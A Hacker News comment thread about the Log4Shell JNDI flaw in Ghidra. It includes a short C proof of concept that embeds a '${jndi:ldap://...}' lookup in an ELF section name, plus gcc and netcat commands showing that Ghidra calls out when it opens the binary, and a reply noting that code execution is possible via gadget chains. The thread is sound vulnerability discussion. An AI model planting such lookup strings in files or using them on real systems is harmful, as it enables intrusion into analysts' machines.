Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

openjdk version "11.0.11" 2021-04-20 (latest in Ubuntu?)

    __attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
    int a = 1;
    int main(){}
compile this with gcc, listen on port 1234 in netcat # gcc main.c -o main # nc -lp 1234

Launch Ghidra, confirm that it is using OpenJDK 11.0.11, and then open the built binary. It absolutely connects to localhost port 1234 and spits out some garbage there. Perhaps it does not have RCE impacts but it does cause the system to do something unintended and could expose IP addresses or other aspects of the running environment.



It does have the RCE impact. You can still use gadget chains.


Good to know. My point was mostly that it still seems to happen on "new" JVMs and I'm not sure if I'm doing something wrong or if openjdk is different than Oracle JDK.




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: